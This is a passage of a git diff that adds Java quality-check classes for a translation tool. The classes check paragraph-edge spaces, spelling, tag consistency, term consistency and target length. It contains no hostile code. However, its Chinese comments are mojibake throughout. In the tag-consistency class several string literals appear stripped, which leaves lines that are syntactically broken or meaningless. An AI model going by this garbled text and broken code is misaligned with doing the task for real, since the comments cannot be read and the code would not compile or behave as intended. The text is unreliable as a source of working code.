关闭数æ®åº“,åªé’ˆå¯¹æœ¯è¯­ä¸€è‡´æ€§æŸ¥ + * ; + */ + public void closeDB(){ + System.out.println("关闭数æ®åº“"); + if (qaItemClassMap.get(QAConstant.QA_TERM) != null) { + QARealization termRealize = qaItemClassMap.get(QAConstant.QA_TERM); + termRealize.closeDB(); + } + } + + /** + * åˆå§‹åŒ–进度æ¡å‰è¿›å‰éš”值,使之总值ä¸å¤§äºŽäº”百。 + */ + private int initWorkInterval(){ + int allTUSize = 0; + for (IFile iFile : model.getQaXlfList()) { + allTUSize += handler.getTuSizeMap().get(iFile.getLocation().toOSString()); + } + if (allTUSize > 500) { + workInterval = allTUSize / 500; + } + return allTUSize; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpaceOfParaCheckQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpaceOfParaCheckQA.java new file mode 100644 index 0000000..ce63999 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpaceOfParaCheckQA.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 段首ã€æ®µæœ«ç©ºæ ¼æ£€æŸ¥ + * 是指æºæ–‡æœ¬ä¸Žç›®æ ‡æ–‡æœ¬çš„段首和段末的空格必须一致。 + * @author robert 2012-01-17 + * @version + * @since JDK1.6 + */ +public class SpaceOfParaCheckQA extends QARealization { + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + + public SpaceOfParaCheckQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_spaceOfPara_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + + hasError = false; + String langPair = tuMap.get("langPair"); + + String lineNumber = tuMap.get("lineNumber"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String qaType = Messages.getString("qa.all.qaItem.SpaceOfParaCheck"); + + String srcContent = tuMap.get("srcContent"); + String tarContent = tuMap.get("tarContent"); + String rowId = tuMap.get("rowId"); + + int srcFirstSpaceNum = getSpaceNumber(srcContent, true); + int srcLastSpaceNum = getSpaceNumber(srcContent, false); + + int tarFirstSpaceNum = getSpaceNumber(tarContent, true); + int tarLastSpaceNum = getSpaceNumber(tarContent, false); + + //先处ç†æ®µé¦–空格的检查 + String errorTip = ""; + if (srcFirstSpaceNum > tarFirstSpaceNum) { + errorTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.tip1"), new Object[] { + srcFirstSpaceNum, tarFirstSpaceNum, (srcFirstSpaceNum - tarFirstSpaceNum) }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_SPACEOFPARACHECK)); + }else if (srcFirstSpaceNum < tarFirstSpaceNum) { + errorTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.tip2"), new Object[] { + srcFirstSpaceNum, tarFirstSpaceNum, (tarFirstSpaceNum - srcFirstSpaceNum) }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_SPACEOFPARACHECK)); + } + + //如果æºæ–‡æœ¬å…¨æ˜¯ç©ºæ ¼ï¼Œåªæ示段首空格,ä¸æ示段尾 + if (srcFirstSpaceNum == srcContent.length()) { + return ""; + } + + //处ç†æ®µæœ«ç©ºæ ¼çš„检查 + if (srcLastSpaceNum > tarLastSpaceNum) { + errorTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.tip3"), new Object[] { + srcLastSpaceNum, tarLastSpaceNum, (srcLastSpaceNum - tarLastSpaceNum) }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_SPACEOFPARACHECK)); + }else if (srcLastSpaceNum < tarLastSpaceNum) { + errorTip = MessageFormat.format(Messages.getString("qa.SpaceOfParaCheckQA.tip4"), new Object[] { + srcLastSpaceNum, tarLastSpaceNum, (tarLastSpaceNum - srcLastSpaceNum) }); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_SPACEOFPARACHECK)); + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_SPACEOFPARACHECK; + } + return result; + } + + /** + * 获å–文本段段首或段尾的空格数 + * @param content è¦èŽ·å–空格数的文本 + * @param isFirst 是å¦èŽ·å–段首的空格数 + * @return 空格数; + */ + public int getSpaceNumber(String content, boolean isFirst){ + int spaceNum = 0; + + if (isFirst) { + for (int i = 0; i < content.length(); i++) { + if (content.charAt(i) == QAConstant.QA_ONE_SPACE_CHAR) { + spaceNum ++; + }else { + break; + } + } + }else { + for (int i = content.length() - 1; i >= 0; i--) { + if (content.charAt(i) == QAConstant.QA_ONE_SPACE_CHAR) { + spaceNum ++; + }else { + break; + } + } + } + return spaceNum; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpellQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpellQA.java new file mode 100644 index 0000000..6c1caec --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/SpellQA.java @@ -0,0 +1,249 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.spell.AspellChecker; +import net.heartsome.cat.ts.ui.qa.spell.Hunspell; +import net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 拼写检查, + * @author robert 2012-02-03 + * @version + * @since JDK1.6 + */ +public class SpellQA extends QARealization { + private HSSpellChecker spelling = null; + /** ä¸éœ€ç”¨è¿›è¡Œæ‹¼å†™æ£€æŸ¥çš„目标语言 */ + private List nonSpellTarLangList = new ArrayList(); + + private int tipLevel; + private IPreferenceStore qaPreferenceStore; + private boolean hasError; + private boolean isContinue; + private StringTokenizer stringToken; + + /** 拼写检查器类型,是å¦æ˜¯ hunspell 拼写è¯å…¸ */ + private boolean isHunspell = false; + private NonTransElementOperate nontransOper; + /** 是å¦å¿½ç•¥éžè¯‘元素 */ + private boolean ignoreNontrans; + /** 是å¦å¿½ç•¥å•è¯é¦–å­—æ¯ä¸ºæ•°å­— */ + private boolean ignoreDigitalFirst; + /** 是å¦å¿½ç•¥å•è¯é¦–å­—æ¯ä¸ºå¤§å†™ */ + private boolean ignoreUpperCaseFirst; + public final static Logger logger = LoggerFactory.getLogger(SpellQA.class.getName()); + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + public SpellQA(){ + //确定检查类别 + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + isHunspell = preferenceStore.getBoolean(QAConstant.QA_PREF_isHunspell); + ignoreNontrans = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreNontrans); + ignoreDigitalFirst = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreDigitalFirst); + ignoreUpperCaseFirst = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreUpperCaseFirst); + + qaPreferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = qaPreferenceStore.getInt(QAConstant.QA_PREF_spell_TIPLEVEL); + //UNDO 拼写检查的信æ¯æ示太过专业化,详细化æ示。比如:qa.spellCheck.HashDictionary.tip1=è¯å…¸æ–‡ä»¶ç¼ºå°‘表格大å°ã€‚ + } + + @Override + public String startQA(final QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + hasError = false; + isContinue = false; + //目标语言 + final String target_lan = tuMap.get("target_lan"); + + //若未é…置该目标语言的è¯å…¸ï¼Œé€€å‡ºç¨‹åºçš„执行 + if (nonSpellTarLangList.indexOf(target_lan) != -1) { + return ""; + } + + String targetPureText = TextUtil.resetSpecialString(tuMap.get("tarPureText")); + + String lineNumber = tuMap.get("lineNumber"); + String langPair = tuMap.get("langPair"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String rowId = tuMap.get("rowId"); + + if (spelling == null) { + if (isHunspell) { + spelling = new Hunspell(model.getShell()); + if (ignoreNontrans) { + nontransOper = new NonTransElementOperate(); + nontransOper.openNonTransDB(); + } + }else { + spelling = new AspellChecker(); + } + } + + // 若拼写检查器错误,或者出错,返回 null + if (spelling == null || spelling.isError()) { + return null; + } + + //如果该拼写检查实例为空,退出执行,并且下次é‡åˆ°ç›¸åŒç›®æ ‡è¯­è¨€ä¸å†æ£€æŸ¥ + if (!spelling.checkLangAvailable(target_lan)) { + nonSpellTarLangList.add(target_lan); + if (!isHunspell) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + String message = Messages.getString("qa.SpellQA.addTip1"); + message = MessageFormat.format(message, new Object[]{target_lan}); + isContinue = MessageDialog.openConfirm(model.getShell(), Messages.getString("qa.all.dialog.ok"), message); + } + }); + + if (!isContinue) { + monitor.setCanceled(true); + } + } + return ""; + } + + List errorWords; + if (isHunspell) { + LinkedList wordList = new LinkedList(); + getSingleWords(targetPureText, wordList); + errorWords = spelling.getErrorWords(null, wordList, target_lan); + }else { + LinkedList wordList = new LinkedList(); + getSingleWords(targetPureText, wordList); + errorWords = spelling.getErrorWords(targetPureText, wordList, target_lan); + } + + if (spelling.isError()) { + return null; + } + + //开始输入结果 + if (errorWords == null || errorWords.size() == 0) { + return ""; + } + + String errorTip = Messages.getString("qa.SpellQA.tip1"); + String qaType = Messages.getString("qa.all.qaItem.SpellQA"); + + for (int i = 0; i < errorWords.size(); i++) { + errorTip += "'" + errorWords.get(i).getPureWord() + "' ã€"; + } + errorTip = errorTip.substring(0, errorTip.length() - 1); + errorTip += Messages.getString("qa.SpellQA.tip2"); + + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_SPELL)); + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_SPELL; + } + return result; + } + + /** + * 获å–å•ä¸ªå•è¯ï¼Œè¿™é‡Œé¢ä¸»è¦æ˜¯æ ¹æ®ä¸åŒçš„选项。得到è¦è¿›è¡Œæ‹¼å†™æ£€æŸ¥çš„å•è¯ + */ + private void getSingleWords(String pureText, List tgtWordList) { + stringToken = new StringTokenizer(pureText, Constant.SEPARATORS, false); + List ignoreParaList = null; + // 如果è¦å¤„ç†å¿½ç•¥éžè¯‘元素,那么执行如下æ“作 (备注:所有的忽略项。åªæ˜¯é’ˆå¯¹ hunspell) + if (isHunspell && ignoreNontrans) { + ignoreParaList = nontransOper.getIgnorePara(pureText, null); + } + + int start = 0; + int length = 0; + int end = 0; + while(stringToken.hasMoreTokens()){ + String pureWord = stringToken.nextToken(); + start = pureText.indexOf(pureWord, start); + length = pureWord.length(); + end = start + length; + + // ç»è¿‡ä¸€ç³»åˆ—的判断,从而删除一些ä¸ç¬¦åˆæ ‡å‡†çš„å•è¯ã€‚将剩下的å•è¯ä¼ å…¥æ‹¼å†™æ£€æŸ¥å™¨ä¸­è¿›è¡Œæ£€æŸ¥ + if (isHunspell) { + // 是å¦å¿½ç•¥éžè¯‘元素 + if (ignoreNontrans) { + boolean needIgnore = false; + for(Integer[] ignoreIndexs : ignoreParaList){ + if (start >= ignoreIndexs[0] && end <= ignoreIndexs[1] ) { + needIgnore = true; + break; + } + } + if (needIgnore) { + start = start + pureWord.length(); + continue; + } + } + // 是å¦å¿½ç•¥é¦–å­—æ¯ä¸ºæ•°å­— + if (ignoreDigitalFirst && checkDigitalFirst(pureWord)) { + start = start + pureWord.length(); + continue; + } + + // 是å¦å¿½ç•¥é¦–å­—æ¯ä¸ºå¤§å†™ + if (ignoreUpperCaseFirst && checkUpperCaseFirst(pureWord)) { + start = start + pureWord.length(); + continue; + } + } + + tgtWordList.add(new SingleWord(null, pureWord, start, length)); + start = start + pureWord.length(); + } + } + + /** + * 检查å•è¯æ˜¯å¦é¦–å­—æ¯å¤§å†™ + * @return + */ + private boolean checkDigitalFirst(String pureWord){ + return Character.isDigit(pureWord.charAt(0)); + } + + /** + * 检查å•è¯æ˜¯å¦é¦–å­—æ¯ä¸ºæ•°å­— + * @return + */ + private boolean checkUpperCaseFirst(String pureWord){ + String otherStr = pureWord.substring(1, pureWord.length()); + return Character.isUpperCase(pureWord.charAt(0)) && otherStr.equals(otherStr.toLowerCase()); + } + + + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TagConsistenceQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TagConsistenceQA.java new file mode 100644 index 0000000..e59376c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TagConsistenceQA.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 标记一致性检查 + * 进度æ¡æ示格å¼ä¸º MessageFormat.format("检查{0}文件,术语一致性检查:术语比较...) + * 第一次编写时间:2011ï¼11ï¼18,主è¦èŽ·å–所有的标记,在比较时åªç”¨æ¯”较目标文本中是å¦æœ‰ç¼ºæ—¶çš„标记,忽略标记与标记之间的关系。 + * @author robert 2011-11-18 + * + */ +public class TagConsistenceQA extends QARealization{ + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + + public TagConsistenceQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_tag_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + hasError = false; + //获å–语言对 + String langPair = tuMap.get("langPair"); + String rowId = tuMap.get("rowId"); + + String srcContent = tuMap.get("srcContent"); + String tarContent = tuMap.get("tarContent"); + if (!(srcContent.indexOf("<") >=0 || srcContent.indexOf("=0 || srcContent.indexOf("/>") >= 0) + && !(tarContent.indexOf("<") >=0 || tarContent.indexOf("=0 || tarContent.indexOf("/>") >= 0)) { + return ""; + } + + srcContent = "" + srcContent + ""; + tarContent = "" + tuMap.get("tarContent") + ""; + + List> sourceTagList = xmlHandler.getTUTag(srcContent); + List> targetTagList = xmlHandler.getTUTag(tarContent); + + String lineNumber = tuMap.get("lineNumber"); + String iFileFullPath = tuMap.get("iFileFullPath"); + + List loseTag = new LinkedList(); + List changeTag = new LinkedList(); + //开始比较æºæ–‡æœ¬ä¸Žç›®æ ‡æ–‡æœ¬æ ‡è®°çš„ä¸åŒ + for (int sourceIndex = 0; sourceIndex < sourceTagList.size(); sourceIndex++) { + Map sourceTagMap = sourceTagList.get(sourceIndex); + String tagName = sourceTagMap.get(QAConstant.QA_TAGNAME); + String tagContent = sourceTagMap.get(QAConstant.QA_TAGCONTENT); + + boolean hasTag = false; //检查目标文本是å¦æœ‰è¯¥æ ‡è®° + boolean tagChanged = false; + + for (int targetIndex = 0; targetIndex < targetTagList.size(); targetIndex++) { + Map targetTagMap = targetTagList.get(targetIndex); + if (tagName.equals(targetTagMap.get(QAConstant.QA_TAGNAME))) { + hasTag = true; + if (!tagContent.equals(targetTagMap.get(QAConstant.QA_TAGCONTENT))) { + tagChanged = true; + }else { + targetTagList.remove(targetIndex); + tagChanged = false; + break; + } + } + } + + //如果该标记ä¸å­˜åœ¨ï¼Œé‚£ä¹ˆå°±æ˜¯ç›®æ ‡æ–‡æœ¬ä¸­ç¼ºå¤±è¯¥æ ‡è®° + if (!hasTag) { + loseTag.add(tagName); + } + //如果有这个标记,但是它的标记内容ä¸æ­£ç¡®ã€‚ + if (hasTag && tagChanged) { + changeTag.add(tagName); + } + } + + //处ç†æ ‡è®°ç¼ºå¤±çš„情况 + int loseTagSize; + if ((loseTagSize = loseTag.size()) > 0) { + String qaType = Messages.getString("qa.TagConsistenceQA.name1"); + String tagLoseTip = ""; + for (int index = 0; index < loseTagSize; index++) { + tagLoseTip += "'" + loseTag.get(index) + "', "; + } + tagLoseTip = tagLoseTip.substring(0, tagLoseTip.length() - 2); + String errorTip = MessageFormat.format(Messages.getString("qa.TagConsistenceQA.tip1"), tagLoseTip); + + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TAG)); + } + + //处ç†æ ‡è®°ä¸ä¸€è‡´çš„情况 + int changeTagSize; + if ((changeTagSize = changeTag.size()) > 0) { + String qaType = Messages.getString("qa.TagConsistenceQA.name2"); + String tagChangeTip = ""; + for (int index = 0; index < changeTagSize; index++) { + tagChangeTip += "'" + changeTag.get(index) + "', "; + } + tagChangeTip = tagChangeTip.substring(0, tagChangeTip.length() - 2); + String errorTip = MessageFormat.format(Messages.getString("qa.TagConsistenceQA.tip2"), tagChangeTip); + + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TAG)); + } + + // 处ç†è¯‘文标记多出的情况 + int moreTagSize; + if ((moreTagSize = targetTagList.size()) > 0) { + String qaType = Messages.getString("qa.TagConsistenceQA.addName1"); + String moreTagTip = ""; + for (int index = 0; index < moreTagSize; index++) { + moreTagTip += "'" + targetTagList.get(index).get(QAConstant.QA_TAGNAME) + "', "; + } + moreTagTip = moreTagTip.substring(0, moreTagTip.length() - 2); + String errorTip = MessageFormat.format(Messages.getString("qa.TagConsistenceQA.addTip1"), moreTagTip); + + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TAG)); + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_TAG; + } + return result; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TermConsistenceQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TermConsistenceQA.java new file mode 100644 index 0000000..183d519 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TermConsistenceQA.java @@ -0,0 +1,204 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.Hashtable; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.tb.match.TbMatcher; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; + +/** + * 术语一致性检查 + * 进度æ¡æ示格å¼ä¸º MessageFormat.format("检查{0}文件,术语一致性检查:术语比较...) + * @author robert 2011-11-09 + */ +public class TermConsistenceQA extends QARealization { + private TbMatcher matcher = new TbMatcher(); + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + private boolean isContinue; + + public TermConsistenceQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_term_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + /** + * 如果返回空,则标示未é…置术语库 + */ + @Override + public String startQA(final QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuTextMap) { + hasError = false; + isContinue = false; + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + if (!matcher.checkTbMatcher(iFile.getProject())) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + String message = Messages.getString("qa.TermConsistenceQA.addTip1"); + isContinue = MessageDialog.openConfirm(model.getShell(), Messages.getString("qa.all.dialog.ok"), message); + } + }); + if (!isContinue) { + monitor.setCanceled(true); + } + // 未设置术语库,返回 null + return null; + } + + //获å–æ“作术语库的æ“作类,设置新的项目 + matcher.setCurrentProject(iFile.getProject()); + + //现在循环扇历该xliff文件的æ¯ä¸€ä¸ªtrans-unit节点,去比较它的术语存在性,monitor推进3æ ¼ + compareTerms(iFile, xmlHandler, tuTextMap); + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_TERM; + } + return result; + } + + /** + * 比较术语 + * @param iFile è¦æ£€æŸ¥çš„文件 + * @param handler xml文件æ“作类 + */ + private void compareTerms(IFile iFile, QAXmlHandler xmlHandler, Map tuMap){ + String source_lan = tuMap.get("source_lan"); + String target_lan = tuMap.get("target_lan"); + + boolean souTerm_Context = getContext(source_lan); + boolean tarTerm_Context = getContext(target_lan); + + String sourceText = TextUtil.resetSpecialString(tuMap.get("srcPureText")); + String targetText = TextUtil.resetSpecialString(tuMap.get("tarPureText")); + + targetText = TextUtil.normalise(targetText, true); +// targetText = TextUtil.cleanString(targetText); + + sourceText = TextUtil.normalise(sourceText, true); +// sourceText = TextUtil.cleanString(sourceText); + + Vector> termsVector = matcher.serachTransUnitTerms(sourceText, source_lan, target_lan, false); + + String lineNumber = tuMap.get("lineNumber"); + String langPair = tuMap.get("langPair"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String rowId = tuMap.get("rowId"); + + //开始循环术语库中的术语,进行比较 + for (int termIndex = 0; termIndex < termsVector.size(); termIndex++) { + String sourceTerm = termsVector.get(termIndex).get("srcWord"); + String targetTerm = termsVector.get(termIndex).get("tgtWord"); + + if (containsTerm(sourceText, sourceTerm, souTerm_Context)) { + if (!containsTerm(targetText, targetTerm, tarTerm_Context)) { + String errorTip = MessageFormat.format(Messages.getString("qa.TermConsistenceQA.tip1"), + new Object[] { "'" + sourceTerm + "'", "'" + targetTerm + "'" }); + hasError = true; + String qaType = Messages.getString("qa.all.qaItem.TermConsistenceQA"); + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_TERM)); + } + } + } + } + + /** + * 比较一个文本段是å¦åŒ…æ’指定术语,如果包括,返回true + * @param context : 是å¦è¿›è¡Œæ¯”较上下文,如果是英文,则è¦è¿›è¡Œæ¯”较,因为英文æ¯ä¸ªå•è¯ä¹‹é—´æœ‰ç©ºæ ¼ï¼Œ + * 如果是中文,就ä¸éœ€è¦æ¯”较上下文 + */ + private boolean containsTerm(String text, String term, boolean context){ + text = resetCleanString(text); //因为查询出的术语已ç»è¿›è¡Œè½¬ä¹‰äº† + int idxTerm = text.toLowerCase().indexOf(term.toLowerCase()); + boolean exsit = false; + while(idxTerm != -1){ + char blankChar = ' '; + if (idxTerm < 0){ + continue; + } + if (context) { + char prevChar = blankChar; + char nextChar = blankChar; + + if (term.charAt(0) == blankChar) { + prevChar = blankChar; + }else { + if (idxTerm > 0){ + prevChar = text.charAt(idxTerm -1); + } + } + if (term.charAt(term.length() - 1) == blankChar) { + nextChar = blankChar; + }else { + if (idxTerm + term.length() +1 < text.length()){ + nextChar = text.charAt(idxTerm + term.length()); + } + } + exsit = validContainsChar(prevChar) && validContainsChar(nextChar); + if (exsit) { + return true; + } + }else { + return true; + } + idxTerm = text.toLowerCase().indexOf(term.toLowerCase(), idxTerm + 1); + } + return exsit; + } + + private boolean validContainsChar(char ch){ + return !(Character.isLetterOrDigit(ch) || ch == '@'); + } + + /** + * 判断语言的ç§ç±»ï¼Œå¦‚果是英语,那么è¦è¿›è¡ŒèŽ·å–上下文进行判断, + * 如果是中文,ä¸éœ€è¦ + * @param language + * @return + */ + private boolean getContext(String language){ + if (language.matches("zh.*|ja.*|ko.*|th.*|he.*")) { + return false; + } + return true; + } + + private static String resetCleanString(String string){ + string = string.replaceAll("<", "<" ); + string = string.replaceAll(">", ">"); +// string = string.replaceAll(""", "\""); + string = string.replaceAll("&", "&"); + + return string; + } + + @Override + public void closeDB(){ + matcher.clearResources(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TgtTextLengthLimitQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TgtTextLengthLimitQA.java new file mode 100644 index 0000000..7b2ff72 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/TgtTextLengthLimitQA.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 目标文本段长度é™åˆ¶æ£€æŸ¥ + * 备注:使用的是纯文本 + * @author robert + * @version + * @since JDK1.6 + */ +public class TgtTextLengthLimitQA extends QARealization { + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + private boolean isCheckTgtMinLength = false; + private boolean isCheckTgtMaxLength = false; + /** 目标文本段长度å…许å‡å°‘的比例 */ + private float minPercentage; + /** 目标文本段长度å…许增加的比例 */ + private float maxPercentage; + + public TgtTextLengthLimitQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_tgtLengthLimit_TIPLEVEL); + + isCheckTgtMinLength = preferenceStore.getBoolean(QAConstant.QA_PREF_isCheckTgtMinLength); + isCheckTgtMaxLength = preferenceStore.getBoolean(QAConstant.QA_PREF_isCheckTgtMaxLength); + + if (isCheckTgtMinLength) { + String minValue = preferenceStore.getString(QAConstant.QA_PREF_tgtMinLength); + if (minValue == null || "".equals(minValue)) { + minValue = "0"; + } + minPercentage = Float.parseFloat(minValue) / 100; + } + + if (isCheckTgtMaxLength) { + String maxValue = preferenceStore.getString(QAConstant.QA_PREF_tgtMaxLength); + if (maxValue == null || "".equals(maxValue)) { + maxValue = "0"; + } + maxPercentage = Float.parseFloat(maxValue) / 100; + } + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + hasError = false; + + String langPair = tuMap.get("langPair"); + String lineNumber = tuMap.get("lineNumber"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String qaType = Messages.getString("qa.all.qaItem.TgtTextLengthLimitQA"); + String rowId = tuMap.get("rowId"); + String tarPureText = tuMap.get("tarPureText"); + int srcTextLength = tuMap.get("srcPureText").length(); + int tgtTextLength = tarPureText.length(); + + if (isCheckTgtMaxLength) { + int maxWidth = (int) (srcTextLength + srcTextLength * maxPercentage); + if (tgtTextLength > maxWidth) { + String errorTip 